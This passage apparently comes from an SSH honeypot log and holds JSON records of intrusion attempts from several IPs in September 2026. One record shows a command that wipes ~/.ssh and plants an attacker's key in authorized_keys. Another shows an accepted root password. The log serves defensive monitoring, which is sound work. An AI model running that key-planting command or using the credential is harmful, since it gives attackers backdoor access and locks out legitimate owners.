      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
213.166.84.58
2026-09-20 01:54:29.669448 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b9f1776595c
Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
Engagement Duration: 0.6s
HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5
{
  "id": "4b9f1776595c",
  "src_ip": "213.166.84.58",
  "start_time": "2026-09-20T01:54:29.669448Z",
  "end_time": "2026-09-20T01:54:30.243552Z",
  "duration": "0.6",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
59.179.31.237
2026-09-20 01:54:03.212322 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 57bf7feb74f7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "57bf7feb74f7",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:54:03.212322Z",
  "end_time": "2026-09-20T01:54:04.844113Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}